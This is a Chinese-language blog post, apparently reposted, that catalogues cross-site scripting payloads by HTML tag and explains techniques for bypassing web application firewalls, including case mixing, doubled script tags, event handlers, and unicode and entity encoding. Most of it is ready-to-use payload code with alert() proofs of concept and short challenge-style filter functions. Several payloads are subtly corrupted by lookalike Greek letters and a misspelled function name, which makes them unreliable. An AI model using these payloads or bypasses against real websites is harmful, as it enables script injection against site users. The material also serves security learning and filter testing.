当前位置:   article > 正文

XSS的Waf绕过及工具使用(附靶场通关记录,持续更新)_xss绕waf

xss绕waf

一、常用payload

1、echo

<?php
echo "<script>alert(1)</script>";
?>
  • 1
  • 2
  • 3

2、img标签

<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL" style='Xss:expression(alert(xss));'>
<img src="x" onerror=alert(1)>
<img src="x" οnerrοr=eval("alert('xss')")>
<img src=x οnmοuseοver=alert('xss')>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

3、CSS

<img STYLE="background-image:url(javascript:alert('XSS'))">
  • 1

4、href

标准格式
<a href="https://www.baidu.com">baidu</a>
XSS利用方式1
<a href="javascript:alert('xss')">aa</a>
 <a href=javascript:eval(alert('xss'))>aa</a>
 <a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
 XSS利用方式2
<script>alert('xss')</script>
  <a href="" οnclick=alert('xss')>aa</a>
XSS利用方式3
<a href="" οnclick=eval(alert('xss'))>aa</a>
XSS利用方式4
<a href=kycg.asp?ttt=1000 οnmοuseοver=prompt('xss') y=2016>aa</a>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

5、form标签

XSS利用方式1
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
XSS利用方式2
<form method=post action=aa.asp? οnmοuseοver=prompt('xss')>
<form method=post action=aa.asp? οnmοuseοver=alert('xss')>
<form action=1 οnmοuseοver=alert('xss')>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

6、input标签

标准格式
<input name="name" value="">
利用方式1
<input value="" οnclick=alert('xss') type="text">
利用方式2
<input name="name" value="" οnmοuseοver=prompt('xss') bad="">
利用方式4
<input name="name" value=""><script>alert('xss')</script>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

7、iframe标签

XSS利用方式1
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
XSS利用方式2
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
<!--原code-->
  <iframe src="data:text/html;base64,<script>alert('xss')</script>">
  <!--base64编码-->
  <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
XSS利用方式3
<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
XSS利用方式3
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

8、svg标签

<svg onload=alert(1)>
  • 1

9、其他

  • 事件型还有onbody标签

二、常用的绕过Waf

1、利用大小写绕过

  这个绕过方式的出现是因为网站仅仅只过滤了<script>标签,而没有考虑标签中的大小写并不影响浏览器的解释所致。具体的方式就像这样: <sCriPt>alert(1)</SCripT>

2、利用过滤后返回语句再次构成攻击语句来绕过(经常用双写绕过)

  有的只过滤了一次script标签,因此可以使用双写来绕过<sCri<script>Pt>alert(1)</SC</script>ripT>

3、并不是只有script标签才可以插入代码

(1)img标签

  <img src="x" onerror="alert(1)">就可以再次愉快的弹窗。原因很简单,我们指定的图片地址根本不存在也就是一定会发生错误,这时候onerror里面的代码自然就得到了执行。

(2)onmouseover事件

  • onmouseover="alert(1)",比如
    • <a onmousemove="do something here"> 当用户鼠标移动时即可运行代码
    • <div onmouseover="do something here"> 当用户鼠标在这个块上面时即可运行(可以配合weight等参数将div覆盖页面,鼠标不划过都不行)

(3)onclick事件

  onclick="alert(1)" 这个要点击后才能运行代码,条件相对苛刻,就不再详述。

(4)onload事件

  比如以下代码

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/ //http...或https....
  if (domainRe.test(input)) {  //是否包含在input中
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

  payload:http://www.segmentfault.com" onload="alert(1)

4、编码脚本绕过关键字过滤

(1)Javascript的编码–eval()函数

  \uXXXX 这种写法的Unicode 转义序列,表示一个字符,其中 XXXX 表示一个 16 进制数字,如<的Unicode 编码为\u003c。

  有的时候,服务器往往会对代码中的关键字(如alert)进行过滤,这个时候我们可以尝试将关键字进行编码后再插入,不过直接显示编码是不能被浏览器执行的,我们可以用另一个语句eval()来实现。eval()会将编码过的语句解码后再执行,简直太贴心了。

  例如alert(1)编码过后就是\u0061\u006c\u0065\u0072\u0074(1)(对应于ASCII码的十六进制)

  所以构建出来的攻击语句如下:<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>

(2)HTML实体编码

  实体编码字符<svg>(翻译官)

  把要转码的先Unicode转换一下,然后后台看到有翻译官会把Unincode编码转回为当初的字符

  比如以下代码

function render (input) {
  const stripBracketsRe = /[()`]/g    //正则表达式,看//包裹的内容即可
  input = input.replace(stripBracketsRe, '')  ()`替换为空
  return input
}
  • 1
  • 2
  • 3
  • 4
  • 5

  payload:<svg><script>alert(1)</script> 因为控制字符()变成了实体编码因此要使用翻译官才能让()正确发挥控制字符的作用

(3)翻译官(Unicode编码

function render (input) {
  input = input.toUpperCase()  //把所有的输出内容都大写
  return `<h1>${input}</h1>`
}
  • 1
  • 2
  • 3
  • 4

  payload:<img src="" onerror="alert(1)"> 本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】

推荐阅读
相关标签